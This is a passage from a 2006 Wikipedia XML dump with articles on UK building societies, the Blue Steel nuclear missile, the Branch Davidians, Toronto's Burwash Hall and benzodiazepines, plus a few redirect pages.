&lt;li&gt;[[Britannia Building Society|Britannia]] £23,298m&lt;/li&gt;
&lt;li&gt;[[Portman Building Society|Portman]] £15,505m&lt;/li&gt;
&lt;li&gt;[[Yorkshire Building Society|Yorkshire]] £15,034m&lt;/li&gt;
&lt;li&gt;[[Coventry Building Society|Coventry]] £10,500m&lt;/li&gt;
&lt;li&gt;[[Chelsea Building Society|Chelsea]] £8,868m&lt;/li&gt;
&lt;li&gt;[[Skipton Building Society|Skipton]] £8,137m&lt;/li&gt;
&lt;li&gt;[[Leeds Building Society|Leeds]] £6,129m (name changed from ''Leeds &amp; Holbeck'' mid-2005)&lt;/li&gt; 
&lt;li&gt;[[West Bromwich Building Society|West Bromwich]] £5,044m&lt;/li&gt;
&lt;li&gt;[[Derbyshire Building Society|Derbyshire]] £4,407m&lt;/li&gt;
&lt;/ol&gt;

Source: [[Building Societies Association]]

==Australia==
In [[Australia]], building societies evolved along British lines. Because of strict regulations on [[bank]]s, building societies flourished until the deregulation of the Australian financial industry in the [[1980s]]. Eventually many of the smaller building societies disappeared, while some of the largest (such as [[St. George Bank|St. George]]) officially attained the status of banks.

==USA==
In the [[United States]], the [[savings and loan association]]s have a similar organization and purpose.

==See also==
*[[Mutual organisation]]
*[[UK topics]]
*[[Demutualisation]]

==External links==
[http://www.co-opstudies.org/Journal/May_98/Andy_love_May_98.htm Notes on legislation]

[[Category:Financial services companies]]
[[Category:Cooperatives]]

[[de:Bausparkasse]]
[[ru:Строительная сберегательная касса]]</text>
    </revision>
  </page>
  <page>
    <title>Blue Steel missile</title>
    <id>4777</id>
    <revision>
      <id>39074912</id>
      <timestamp>2006-02-10T15:17:11Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>per [[WP:CFD]] [[Wikipedia:Categories for deletion/Log/2006 February 2|Feb 2]]</comment>
      <text xml:space="preserve">&lt;!--SCROLL DOWN IN ORDER TO EDIT THE ARTICLE--&gt;
{{weapon-missile|
|image=
|caption=
|name=Blue Steel
|type=nuclear stand-off missile
|nation=UK
|era=Cold War
|platform=Aircraft
|target=
|builder=[[Avro]]
|date=
|prod_date=
|serv_date=1963-1969
|operators=UK [[Royal Air Force|RAF]]
|wars=none
|spec_type=
|diameter=0.71 m (28 in) 
|wingspan=4 m (13 ft) 
|length= 10.7 m (35 ft)
|weight= 7,270 kg (16,000 lb) 
|velocity=Mach 3
|range=240 km (150 miles) 
|ceiling= 21,500 m (70,500 ft)
|warhead=W-28 [[thermonuclear]] (1.1 MT)
|propulsion=liquid fuel rocket
|steering=
|guidance=inertial
|variant=
|num_built=
|}}



'''Blue Steel''' was a [[United Kingdom]] air-launched, rocket-propelled [[nuclear weapon|nuclear]] stand-off [[missile]], built to arm the [[V bomber]] force. 

==Development==
Blue Steel was the result of a [[Ministry of Supply (United Kingdom)|Ministry of Supply]] memorandum from [[5 November]] [[1954 in aviation|1954]] that predicted that by [[1960]] [[Soviet Union|Soviet]] air defenses would make it prohibitively dangerous for V bombers to attack with nuclear gravity bombs. The answer was for a [[rocket engine|rocket-powered]], [[supersonic]] missile capable of carrying a large nuclear (or projected [[thermonuclear]]) [[warhead]] with a range of at least 50 miles (90 km). This would keep the bombers out of range of Soviet ground-based defenses installed around the target area, allowing the warhead to &quot;dash&quot; in at high speed.

The weapon (officially termed a ''Stand-off bomb'') was developed primarily by [[Avro]], with guidance electronics by [[Elliots]]. Its design period was protracted, with various development problems exacerbated by the fact that designers had no way of knowing the actual size or weight of the still-hypothetical warhead. The missile was fitted with a, at the time, state-of-the-art [[inertial navigation]] unit. This inertial nav system allowed the missile to strike within 100 metres of its designated target. In addition, the pilots of the carrying Vulcan or Victor bombers could tie their systems into those of the missile and make use of the guidance system to help plot their own flight plan, since the unit in the missile was more advanced that that in the aircraft.

Blue Steel emerged as a pilotless, winged aircraft roughly the size of the experimental [[Saunders-Roe SR.53]] [[interceptor aircraft|interceptor]], with clipped [[delta wing]]s and small [[canard]] foreplanes. It was powered by a two-chamber [[Armstrong Siddeley]] Stentor Mark 101 rocket engine, burning a combination of [[hydrogen peroxide]] and [[kerosene]]. This was a considerable operational problem, because fueling the missile before launch took nearly a half an hour, and was quite hazardous. The warhead was a [[Red Snow]] one-[[megaton]] device. 

On launch the rocket engine's first chamber would power the missile along a predetermined course to the target at around [[Mach number|Mach]] 1.5. Once close to the target, the second chamber of the engine would accelerate the missile to Mach 3. Over the target the engine would cut out and the missile would free-fall before detonating its warhead as an [[airburst]].

Blue Steel finally entered service in February [[1963 in aviation|1963]], being carried by [[Avro Vulcan|Vulcan]]s and [[Handley Page Victor|Victor]]s, although its limitations were already apparent. The short range of the missile meant that the V bombers were still vulnerable to enemy [[Surface-to-air missile|SAM]]s. A replacement for Blue Steel, the Mark 2, was planned with increased range and a [[ramjet]] engine but this was cancelled in [[1960 in aviation|1960]] due to difficulties in developing the Mark 1. The UK sought to acquire the much longer-ranged [[United States Air Force]] [[AGM-48 Skybolt]] air-launched ballistic missile, and was greatly frustrated when that weapon was cancelled in late [[1962 in aviation|1962]]. With no effective long-range weapon the original Blue Steel served on, even though it usefulness in a hot war was likely limited.

Blue Steel officially retired [[21 December]] [[1969 in aviation|1969]], with the United Kingdom's chief nuclear capacity passing to the [[submarine]] fleet.

==Specifications==
* '''Length''': 10.7 m (35 ft) 
* '''Wingspan''': 4 m (13 ft) 
* '''Diameter''': 0.71 m (28 in) 
* '''Launch Weight''': 7,270 kg (16,000 lb) 
* '''Speed''': Mach 3
* '''Ceiling''': 21,500 m (70,500 ft)
* '''Maximum Range''': 240 km (150 miles) 
* '''Guidance''': inertial
* '''[[circular error probable|CEP]]''': N/A
* '''Warhead''': W-28 [[thermonuclear]] (1.1 MT)

==Related Content==
'''Similar Weapons'''
[[AGM-28 Hound Dog]] - [[Raduga KS-1 Komet]]

===External links===
*http://www.spaceuk.org/bsteel/bsteel.htm 
*http://www.skomer.u-net.com/projects/bluesteel.htm 

{{airlistbox}}

[[Category:Cold War air-to-surface missiles of the United Kingdom]]
[[Category:Nuclear air-to-surface missiles]]
&lt;!-- The below are interlanguage links. --&gt;

[[de:Avro_Blue_Steel]]
[[id:Peluru kendali Blue Steel]]
[[ms:Peluru berpandu Blue Steel]]
[[pl:Blue Steel]]</text>
    </revision>
  </page>
  <page>
    <title>Branch Davidian</title>
    <id>4778</id>
    <revision>
      <id>41521701</id>
      <timestamp>2006-02-27T22:43:55Z</timestamp>
      <contributor>
        <username>WacoKid</username>
        <id>788267</id>
      </contributor>
      <comment>moved sentence to intro</comment>
      <text xml:space="preserve">{{Unreferenced}}
The '''Branch Davidians''' are a religious group originating from the [[Seventh-day Adventist]] church.  From its inception, the group inherited Adventism's [[Apocalypse|apocalypticism]], in that they believed themselves to be living in a time when Christian prophecies of a final divine judgment were coming to pass.  They are best known for the [[1993]] [[Waco Siege|siege]] of their [[Mount Carmel]] Center near [[Waco, Texas]], by the [[FBI]] and the [[BATF]], which resulted in the deaths of eighty-two of the church's members, including head figure [[David Koresh]]. However, by the time of the siege, Koresh had encouraged his followers to think of themselves as &quot;students of the Seven Seals&quot; rather than Branch Davidians, while other Branch Davidian factions never accepted his leadership.

== History ==
In [[1929]], [[Victor Houteff]], a [[Bulgaria]]n immigrant, claimed that he had a new message for the [[Seventh-day Adventist Church]]. It was submitted in the form of a book entitled &quot;The Shepherd's Rod&quot;.  His claims were not accepted and were considered divisive by the leadership because he pointed out what he saw as their departures from basic church teachings and standards. Therefore, he was disfellowshipped ([[excommunicate]]d) from the church.

In 1935, Houteff established his headquarters outside [[Waco, Texas]]. Up to 1942, his movement was known as the Shepherd's Rod, but when Houteff found it necessary to formally incorporate so members could claim conscientous objector status, he named his association the ''Davidian Seventh-day Adventists''.  The term &quot;Davidian&quot; refers to the restoration of the Davidic kingdom. Houteff directed Davidians to focus exclusively on converting Adventists. Under Houteff's heavily [[Typology (theology)|typological]] system, Davidians believed prophesy to foretell a cyclic series of events, described as a spiral, with history returning to prophetically foretell events but each time, advance in terms of cosmological progress. 

In [[1955]], after Houteff's death, a split of this movement formed the ''Branch Davidian Seventh-day Adventists'', headed initially by [[Benjamin Roden|Benjamin L. Roden]].  &quot;Branch&quot; refers to the new name of Christ.  The group established a settlement outside of [[Waco, Texas|Waco]], [[Texas]], on the property previously occupied by the Davidian group.  In 1977, [[Benjamin Roden]]'s wife [[Lois Roden|Lois]] claimed to have a message of her own, one element of which was that the [[Holy Spirit]] is feminine in gender, causing much controversy in the group. When Ben Roden died the next year, their son George tried to assume leadership, claiming that he was the rightful prophet of the group, but she beat back his attempt.

In [[1981]] [[Vernon Howell]] (later renamed David Koresh) joined the group as a regular member.  In [[1983]] Lois Roden allowed Howell to begin to teach his own message, opening the door for him to build a following before their split in early [[1984]].  Lois also faced dissent from Canadian Charles Pace.  There was a general meeting at Mt. Carmel of all Branch Davidians over [[Passover]] [[1984]] and the end result was that the group split into several factions, one of which was loyal to Howell.  At this time George Roden forced Howell and Pace to leave the property.

Howell took his followers to [[Palestine, Texas]], while Pace went to [[Gadsden, Alabama]].  But by [[1988]], George Roden's support had dwindled, and while he was in jail for contempt of court, Howell took charge of the disputed land in his absence.  Meanwhile, Lois Roden had passed away in [[1986]], and her will appointed Teresa Moore as her successor.

In [[1990]] Howell changed his name to [[David Koresh]], invoking the biblical Kings [[David]] and [[Cyrus the Great|Cyrus]].  Koresh centered his teachings around the Seven Seals and his ability as the &quot;Lamb&quot; to open them. Koresh supported his beliefs with detailed [[Bible|biblical]] interpretation, using the [[Book of Revelation]] as the lens through which the entire Bible was viewed.

==Raid and Siege==
Defectors from Koresh's group alleged that he practiced polygamy with underage brides, physically abused children, and stockpiled illegal weapons. Eventually, legal authorities investigated their charges.

On [[February 28]] [[1993]], the [[Bureau of Alcohol, Tobacco and Firearms]] (ATF) raided Mount Carmel, resulting in the deaths of four agents and six Davidians. The subsequent 51-day siege ended on [[April 19]] when the complex was completely consumed by fire killing seventy-six people, including Koresh.

The government put some of the survivors on trial. All were acquitted of conspiring to murder federal agents, but some were convicted of [[voluntary manslaughter]]. Skeptics continue to dispute official government inquiries that claim to definitively prove that the fire was set on the inside by Davidians.

''For more information, see [[Waco Siege]].''

==Today==
Survivor Clive Doyle and supporter Ron Goins live at Mt. Carmel Center and run a small visitor museum as well as hold weekly Bible studies on the Sabbath.

Charles Pace, a Davidian who leads a non-Koresh group, also lives on the property and holds his own worship services.  

In 1996 the court ruled that the land belongs to the Branch Davidian Seventh Day Adventist Church.  However, the court has until this point refused to rule on who exactly constitutes &quot;the church&quot;.  Currently [[Amo Bishop Roden]], George's former wife, is attempting to sue for ownership and access to the land.  Most survivors and supporters recognize Clive Doyle as the trustee of the organization and the land.

Also in 1996 a number of Koresh's remaining followers filed an [[civil action|action]] to gain quiet title to the church's property under a claim of [[adverse possession]]. Adverse possession requires that the claimant file it against a party that holds [[Title owner|title]] to the property. However, they filed this suit as the &quot;Trustees&quot; of the church. Thus they were claiming to be the Trustees of the church, while on the other they were claiming that they possessed the property adversely against the Trustees of the Church; the two positions are contradictory. With opposition from a church member (Doug Mitchell) who did not join Howell's faction, and who joined the case in 1998, they dropped their claim for adverse possession the day before the trial began, proceeding only on their claims of being the Trustees of the church. In 2000, the jury ruled against them, and also against Amo Roden, another claimant to the ownership of the property.

In spite of this court ruling, they and others still continue to assume the identity of the true church, and its property. For reasons not explained by the judge, Alan Mayfield, Doug Mitchell's claim to be the rightful Trustee of the church's property was not allowed to be considered by the jury when the survivors' and [[Amo Bishop Roden|Amo Roden]]'s claims were considered. Mitchell was only allowed to defend against the others' claims.  Mitchell contends that when Koresh left Mt. Carmel in 1984, he adopted the name &quot;''Davidian Branch Davidian Seventh Day Adventist''&quot; for his followers, thus  &quot;leaving&quot; the church, forfeiting their claim to be the true Branch Davidians. 

During the pre-trial proceedings, Mitchell's attempts to obtain an injunction against Koresh's remaining followers that would have prohibited them from using the church's name and property was dismissed for &quot;lack of jurisdiction&quot;. That is, the judge (who was not a legal professional before he became a judge), felt that the matter involved church issues which the court could not rightly consider. Mitchell disputes this reasoning.

Currently, Koresh's remaining followers still have access to the church's property (living on it, and holding regular services there), in spite of the judgment affirmed by Judge Mayfield in December 2000 against them on their claim of being the lawful Trustees of the church's property.

Because of the way the government has been portrayed as having acted in the 1993 standoff, the Koresh survivors have received much sympathy and support from various people and groups who felt that the actions that the government took were wrong. This support has provided them with the means to further their assumption of the church's identity and property, to the detriment of those Branch Davidian Seventh Day Adventists who did not join Koresh. This situation has left those who opposed him in a difficult position in two ways. First, they cannot rightly use the property without conflicts with the survivors and others who are antagonistic or indifferent to the original members' rights.  Second, they have a great hurdle to overcome because of the notoriety that Koresh and his followers have brought upon the name and identity of the church.

Renos Avraam, one of the imprisoned Davidians, has declared that he is receiving prophetic new light, as the &quot;Chosen Vessel of the Remaining Bride.&quot; However, most of the survivors spurn his &quot;Hidden Manna&quot; faction.

A new chapel has been built by the survivors and their supporters near the site of the original complex.  The ruins of the old building, including the tornado shelter and incomplete swimming pool, can be seen by visitors.  There are also several memorials to the victims - both the Davidian victims, and the Federal Agents who lost their lives.  Memorial trees with plaques with the name of each Davidian who perished have been planted on the property.  Finally, to show their deep sympathy to the victims of the [[Oklahoma City Bombing]], a memorial has been erected at Mt. Carmel for them as well.

Approximately fifty [http://www.cesnur.org/2005/pa_pitts.htm] to seventy [http://bdsda.tripod.com/newsletters/april_2005.html] people attended the yearly memorial service on [[April 19]] [[2005]].

Former President [[Bill Clinton]] recently claimed that the two things he regretted the most while in office were standing by while the [[Rwandan genocide]] occurred and failing to find a peaceful resolution to the Waco standoff.

==Bibliography==
* Kerstetter, Todd.  &quot;'That's Just the American Way': The Branch Davdian Tragedy and Western Religious History&quot;, ''[[Western Historical Quarterly]]'', Vol. 35, No. 4, Winter 2004.
* Lewis, James R. (ed.).  ''From the Ashes: Making Sense of Waco'' (Lanham, Maryland: Rowman &amp; Littlefield, 1994).  ISBN 0847679152 (cloth) ISBN 0847679144 (paper)
* Reavis, Dick J.  ''The Ashes of Waco: An Investigation'' (New York: Simon and Schuster, 1995).  ISBN 0684811324
* Tabor, James D. and Eugene V. Gallagher.  ''Why Waco?: Cults and the Battle for Religious Freedom in America'' (Berkeley: University of California Press, 1995).  ISBN 0520201868
* Thibodeau, David and Leon Whiteson.  ''A Place Called Waco: A Survivor's Story'' (New York: PublicAffairs, 1999).  ISBN 1891620428
* Wright, Stuart A. (ed.).  ''Armageddon in Waco: Critical Perspectives on the Branch Davidian Conflict'' (Chicago: University of Chicago Press, 1995).

==See also==
* [[Millennialism]]
* [[Seventh-day Adventists]]
* [[Boards of Canada]] - an [[Electronica]] duo whose work contains many references to the Branch Davidians.

==External links==
*[http://start.at/mtcarmel The Official Website Of The (Davidian) Branch Davidian Seventh Day Adventists]
*[http://www.the-branch.org/study15.html The Warfare of Vernon Howell (a.k.a. David Koresh) and others against the Branch Davidian Seventh Day Adventists]
*[http://religiousmovements.lib.virginia.edu/nrms/bran_arch.html Branch Davidians]
*[http://www.cesnur.org/2004/waco_wessinger.htm The Branch Davidians and the Waco Media, 1993-2003] by Catherine Wessinger

[[Category:Christian eschatology]]
[[Category:Cults]]
[[Category:McLennan County, Texas]]
[[Category:New religious movements]]
[[Category:Texas]]

[[de:Davidianer]]
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    </revision>
  </page>
  <page>
    <title>Burwash Hall</title>
    <id>4779</id>
    <revision>
      <id>38166529</id>
      <timestamp>2006-02-04T17:30:55Z</timestamp>
      <contributor>
        <ip>142.151.164.172</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Burwash.jpg|thumb|300px|right|Burwash dining hall viewed from Charles St.]]

'''Burwash Hall''' is the second oldest of the residence buildings at [[Toronto]]'s [[Victoria University in the University of Toronto|Victoria College]].  Construction began in [[1911]] and was finished in [[1913]].  It was named after [[Nathaniel Burwash]], a former president of Victoria.  The building is an extravagant [[Neo-Gothic]] work with turrets, gargoyles, and battlements.

The building is divided between the large dining hall in the northwest and the student residence proper.  The residence area is divided into two sections.  The Upper Houses, built in 1913, consist of four houses: [[North House]], [[Middle House]], [[Gate House]], and [[South House]].   The Lower Houses were built in 1931 and were originally intended to house theology students at Emmanuel College, whose current building was opened the same year.  Ryerson House, Nelles House, Caven House, Bowles-Gandier House are now mostly home to undergraduate arts and science students.  The latter two are mostly reserved for students in the new Vic One Programme.

Famous residents of Burwash include [[Vincent Massey]], [[Lester B. Pearson]], and [[Donald Sutherland]].  The upper houses were gutted and renovated in 1995.  The lower houses have only been partially upgraded.  Before the renovations the entire building was all male, but now every house but Gate is co-ed.

Since its renovations Burwash has been viewed by residents as one of the best residences in Canada.  Each Upper House consists of three floors.  The lower floor contains a [[common room]] equipped with kitchen facilities, couches and a television.  The upper floors each have their own kitchen and dining area.  All except North House have a very high bathroom ration, with Gate House being the best with nine washrooms for its twenty-eight residents.  Upper Houses are divided between double rooms and singles, with about sixty percent of the population being in doubles.

The Lower Houses each have four floors, but are much narrower with each level having only four rooms.  Each level also has its own kitchen, but these are much smaller than in the Upper Houses. The Lower Houses do have far larger and better fitted common rooms that are similar to the one's the Upper Houses had before the renovations.  The rooms in the Lower Houses are also considered more luxurious with [[hardwood floor]]s and large sizes. Rooms in the Lower Houses are more expensive, however. Until 2003 the Lower Houses were restricted to upper year students but with the [[double cohort]] of graduates from Ontario schools many of the rooms were transformed into doubles and now hold first years.
[[Image:Gate House.jpg|left|thumb|300px|Gate House viewed from the Quad]]
To the west the Upper Houses look out on the Vic Quad and the main Victoria College building across it.  West of the Lower Houses is the new Lester B. Pearson Garden of Peace and International Understanding and the [[E.J. Pratt Library]] beyond it.  The views from the eastern side of the building are less interesting with the Upper Houses looking out at [[Rowell Jackman Hall]] and the Lower Houses seeing the [[St. Michael's College (U of T)|St. Michael's College]] residence of [[Elmsley]].  The only exception is the view from Gate House's tower that looks down St. Mary's Street.

The dining hall is perhaps the best known part of the building to outsiders.  It is the University of Toronto's largest holding some 250 students and sixteen large tables.  Hanging on the western wall is [[Victoria of the United Kingdom|Queen Victoria]]'s burial flag, given to the college soon after her death.  Under the flag is the [[high table]] where the professors and college administration lunch.  The Upper Houses each have their own table.  Gate sits in the southwest corner, Middle sits in the far northeast, South is in the table to the west of Middle, while North is one to the west of the southeast corner.
&lt;br clear=all&gt;
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{| id=&quot;toc&quot; style=&quot;margin: 0 2em 0 2em;&quot;
! align=&quot;center&quot; style=&quot;background:#ccccff&quot; width=&quot;100%&quot; | [[Victoria University in the University of Toronto|Victoria College]] residences||
|-
| align=&quot;center&quot; style=&quot;font-size: 90%;&quot; colspan=&quot;2&quot; | [[Burwash Hall]] | [[Annesley Hall]]  | [[Margaret Addison Hall]] | [[Rowell Jackman Hall]]
|}
&lt;/center&gt;

[[Category:University of Toronto buildings]]</text>
    </revision>
  </page>
  <page>
    <title>Benzodiazepine</title>
    <id>4781</id>
    <revision>
      <id>42108726</id>
      <timestamp>2006-03-03T21:58:09Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">The '''benzodiazepines''' are a class of [[medication|drugs]] with [[hypnotic]], [[anxiolytic]], [[anticonvulsant]], [[amnesia|amnestic]] and [[muscle relaxant]] properties. Benzodiazepines are often used for short-term relief of severe, disabling [[anxiety]] or [[insomnia]]. Long-term use can be problematic due to the development of  [[drug tolerance|tolerance]] and [[addiction|dependency]]. They are believed to act on the [[GABA receptor]] [[GABA A receptor|GABA&lt;sub&gt;A&lt;/sub&gt;]], the activation of which dampens higher neuronal activity. They began to be widely prescribed for stress-related ailments in the [[1960s]] and [[1970s]].

==Members==
Benzodiazepines are commonly divided into three groups: Short-acting compounds act for less than six hours and have few residual effects if taken before bedtime, but rebound insomnia may occur and they might cause wake-time anxiety. Intermediate-acting compounds have an effect for 6-10 hours, may have mild residual effects but rebound insomnia is not common. Long-acting compounds have strong [[sedative]] effects that persist. Accumulation may occur.

The various benzodiazepines are listed in order of the shortest acting to the longest acting (by the approximate [[elimination half-life]] of the drug), however this time may greatly vary between persons.

* [[Triazolam]] (Halcion&amp;reg;) - 2 hours
* [[Midazolam]] (Versed&amp;reg;, Hypnovel&amp;reg;) - 3 hours (1.8-6 hours)
* [[Oxazepam]] (Serax&amp;reg;) - 4-15 hours
* [[Chlordiazepoxide]] (Librium&amp;reg;) - 5-25 hours
* [[Alprazolam]] (Xanax&amp;reg;) - 6-12 hours
* [[Temazepam]] (Restoril&amp;reg;) 8-20 hours
* [[Lorazepam]] (Ativan&amp;reg;) 10-20 hours
* [[Loprazolam]] (Dormonoct&amp;reg;) 10-20 hours
* [[Bromazepam]] (Lexotan&amp;reg;) 10-20 hours
* [[Estazolam]] (ProSom&amp;reg;) 10-24 hours
* [[Clobazam]] (Frisium&amp;reg;) 18 hours
* [[Flunitrazepam]] (Rohypnol&amp;reg;) 18-26 hours. Withdrawn from the market in some countries; considered a &quot;[[rape|date-rape]] drug&quot;
* [[Clonazepam]] (Klonopin&amp;reg;, Rivotril&amp;reg;) 18-50 hours
* [[Nitrazepam]] (Mogadon&amp;reg;) 20-40 hours
* [[Quazepam]] (Doral&amp;reg;) 25-100 hours
* [[Clorazepate]] (Tranxene&amp;reg;) 36-100 hours
* [[Medazepam]] (Nobrium&amp;reg;) 36-150 hours
* [[Nordazepam]] (Madar&amp;reg;, Stilny&amp;reg;) 50-120 hours
* [[Prazepam]] (Centrax&amp;reg;) 36-200 hours
* [[Diazepam]] (Valium&amp;reg;) 36-200 hours
* [[Flurazepam]] (Dalmane&amp;reg;) 40-250 hours

==Effects==

All benzodiazepines have the following, predictable effects, though some may be relatively stronger anxiolytics and others relatively stronger amnesics.  Each effect is more likely to occur at higher doses.  Selecting the right type of benzodiazepine for a particular patient and then prescribing it at the minimum effective dose will lessen the likelihood of adverse effects.

* Anxiolytic (reduce anxiety).
* Anticonvulsant (used against epileptic seizures).
* Antispasmodic (muscle relaxant).
* Sedative / hypnotic (&quot;sleeping tablet&quot; effect).
* Amnesic (producing [[anterograde amnesia]]).

==Uses==
Benzodiazepines are used in many situations, depending on the [[pharmacokinetics]] of each of the constituent drugs. The main use of the short-acting benzodiazepines is in insomnia, while anxiety responds better to medium- to long-acting substances that will be required all day.

Midazolam is mostly used as an [[intravenous]] injection for [[sedation]] before surgical procedures or for emergency [[intubation]].

==Side Effects==
The side effects are predictable as they are intrinsic effects of the drug class of benzodiazepines.  Knowing the relative effects of benzodiazepine types will help clinicians prescribe the most appropriate type.  For example, lorazepam may not be best choice for longer term treatment in the elderly due to its stronger amnesic effects potentially aggravating forgetfulness and confusion.  But then lorazepam may be a better choice for short term treatment of a younger, non-drinking patient as it is relatively less sedating.

Benzodiazepines have replaced the [[barbiturate]]s because they have a lower abuse potential and relatively lower adverse reactions (chiefly, death is a relatively common result in barbiturate overdoses) and interactions.  Still, drowsiness, [[ataxia]], confusion, [[vertigo (medical)|vertigo]], impaired judgement, and a number of other effects are common.

Benzodiazepines may impair the ability to drive vehicles and to operate machinery. The impairment is worsened by consumption of alcohol, because both act as [[central nervous system]] depressants. The effects of long-acting benzodiazepines can also linger over to the following day.

==Abuse and dependence==
Long-term benzodiazepine usage generally leads to some form of [[drug tolerance|tolerance]] and/or [[physical dependence|dependence]]. As a Schedule IV drug, benzodiazepines are considered moderately [[addiction|addictive]]. [[Withdrawal]] symptoms include:

* [[Insomnia]]
* [[Anxiety]], possible [[panic attacks]]
* [[Depression (mood)|Depression]], possible [[suicidal]] ideation
* [[Tremor]]
* [[Perspiration]]
* [[Anorexia | Loss of appetite]]
* [[Delusion]]s

An abrupt discontinuation of benzodiazepines may result in a severe and very unpleasant withdrawal syndrome that may additionally result in:

* [[Seizure|Convulsions]]
* Confusion
* [[Psychosis]]
* Effects similar to [[delirium tremens]]

Hence, every person on long-term or high dosage of any benzodiazepine should be carefully weaned off the drug, preferably under medical supervision.

Onset of the withdrawal syndrome might be delayed, and it might be delayed longer than the barbiturate withdrawal syndrome, although withdrawal from short-acting benzodiazepines often presents early.

Some of the withdrawal symptoms are identical to the symptoms for which the medication was originally prescribed. Benzodiazepines are valued by many patients for their ability to ameliorate existing conditions, while benzodiazepine dependency can cause them.

As it happens, benzodiazepines are the largest group of [[recreational drug use|recreationally]] used drugs as well (Gerada &amp; Ashforth 1997). Users typically take large doses of benzodiazepines orally, [[intravenously]], or by snorting crushed tablets up the nose. This results in a &quot;high&quot; resembling alcoholic intoxication, and intravenous doses, especially of so called &quot;high potency&quot; benzodiazepines (eg. [[clonazepam]], [[lorazepam]], [[alprazolam]]), often results in a euphoric &quot;rush&quot;.

==Intoxication==
Overdosage of benzodiazepines, particularly when combined with [[Ethanol|alcohol]], may lead to [[coma]], but does not cause severe biochemical disturbances and therefore carries a relatively good prognosis. The antidote for all benzodiazepines is [[flumazenil]] (Annexate&amp;reg;), which is occasionally used empirically in patients presenting with unexplained loss of consciousness in an [[emergency room]] setting.

==Legal status==
All medically-used benzodiazepines are [[Schedule IV]] in the USA under the Federal [[Controlled Substances Act]]. 

Flunitrazepam is treated more severely under Federal law than other benzodiazepines. For example, despite being Schedule IV like any other benzodiazepine, it is not commercially available in the United States. It also carries tougher Federal penalties for trafficking and possession than other Schedule IV drugs. With the exception of cases involving 5 grams or more of crack, flunitrazepam is the only [[controlled substance]] in which first-offense simple possession is a Federal felony.
Various other countries limit the availability of benzodiazepines legally.
Even though it is a commonly prescribed class of drugs, the  [[Medicare Prescription Drug, Improvement, and Modernization Act]] specifically states that insurance companies that provide [[Medicare Part D]] plans are not required to cover benzodiazepines.

==History==
The first benzodiazepine, chlordiazepoxide (Librium&amp;reg;) was discovered [[serendipity|serendipitously]] in [[1954]] by the Austrian scientist Dr [[Leo Sternbach]] (1908-2005), working for the [[pharmaceutical company]] [[Hoffmann-La Roche]]. Initially, he discontinued his work on the compound ''Ro-5-0690'', but he &quot;rediscovered&quot; it in 1957 when an assistant was cleaning up the laboratory. Although initially discouraged by his employer, Sternbach conducted further research that revealed the compound was a very effective [[sedative|tranquilizer]].

In 1963 approval for use was given to [[diazepam]] (Valium&amp;reg;) - a simplified version of Librium - primarily to counteract anxiety symptoms. Sleep-related problems were treated [[nitrazepam]] (Mogadon&amp;reg;), which was introduced in 1965 and [[flurazepam]] (Dalmane&amp;reg;), which was introduced in 1973.

==Pharmacology==
Benzodiazepines produce their variety of effects by modulating the [[GABA_A_receptor|GABA&lt;sub&gt;A&lt;/sub&gt;]] receptor, the most prolific inhibitory receptor within the brain. The [[GABA_A_receptor|GABA&lt;sub&gt;A&lt;/sub&gt;]] receptor is made up from 5 subunits out of a possible 19, and [[GABA_A_receptor|GABA&lt;sub&gt;A&lt;/sub&gt;]] receptors made up of different combinations of subunits have different properties, different locations within the brain and importantly, different activities in regards to benzodiazepines. 

In order for [[GABA_A_receptor|GABA&lt;sub&gt;A&lt;/sub&gt;]] receptors to be sensitive to the action of benzodiazepines they need to contain an &amp;alpha; an a &amp;gamma; subunit, where the benzodiazepine binds. Once bound, the benzodiazepine locks the [[GABA_A_receptor|GABA&lt;sub&gt;A&lt;/sub&gt;]] receptor into a conformation where the neurotransmitter [[GABA]] has much higher affinity for the [[GABA_A_receptor|GABA&lt;sub&gt;A&lt;/sub&gt;]] receptor, increasing the frequency of opening of the associated Chloride ion channel and hyperpolarising the membrane. This potentiates the inhibitory effect of the available [[GABA]] leading to sedatory and anxiolytic effects. As mentioned, different benzodiazepines can have different affinities for [[GABA_A_receptor|GABA&lt;sub&gt;A&lt;/sub&gt;]] receptors made up of different collection of subunits. For instance, benzodiazepines with high activity at the &amp;alpha;&lt;sub&gt;1&lt;/sub&gt; are associated with sedation whereas those with higher affinity for [[GABA_A_receptor|GABA&lt;sub&gt;A&lt;/sub&gt;]] receptors containing &amp;alpha;&lt;sub&gt;2&lt;/sub&gt; and/or &amp;alpha;&lt;sub&gt;3&lt;/sub&gt; subunits have good anti-anxiety activity.

==References==
* Atack JR. Anxioselective compounds acting at the GABA(A) receptor benzodiazepine binding site. Current drug targets. CNS and neurological disorders. 2003 Aug;2(4):213-32.
* Gerada C, Ashworth M. ABC of mental health. Addiction and dependence--I: Illicit drugs. [[British Medical Journal|BMJ]] 1997;315:297-300. [http://bmj.bmjjournals.com/cgi/content/full/315/7103/297 Fulltext]. PMID 9274553.
* Sternbach LH. ''The discovery of librium.'' Agents Actions 1972;2:193-6. PMID 4557348

==External links==
* [http://www.benzo.org.uk/ Benzo.org.uk - Benzodiazepine addiction and withdrawal]
* [http://www.drugs.com/cons/benzodiazepines_systemic.html Drugs.com - Benzodiazepines (advanced consumer information)]

{{Benzodiazepines}}
[[Category:Benzodiazepines|*]]
[[Category:Sedatives]]
[[Category:Hypnotics]]
[[Category:Anticonvulsants]]
[[Category:Muscle relaxants]]
[[Category:Anxiolytics]]
[[Category:Schedule IV controlled substances]]

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[[zh:苯二氮䓬类药物]]</text>
    </revision>
  </page>
  <page>
    <title>Bell Curve</title>
    <id>4784</id>
    <revision>
      <id>15903037</id>
      <timestamp>2004-11-16T23:00:28Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <comment>redirecting to the [[bell curve]] disambiguation page.</comment>
      <text xml:space="preserve">#REDIRECT [[bell curve]]</text>
    </revision>
  </page>
  <page>
    <title>Balloons</title>
    <id>4785</id>
    <revision>
      <id>15903038</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Balloon]]
</text>
    </revision>
  </page>
  <page>
    <title>Balloon</title>
    <id>4786</id>
    <revision>
      <id>41767146</id>
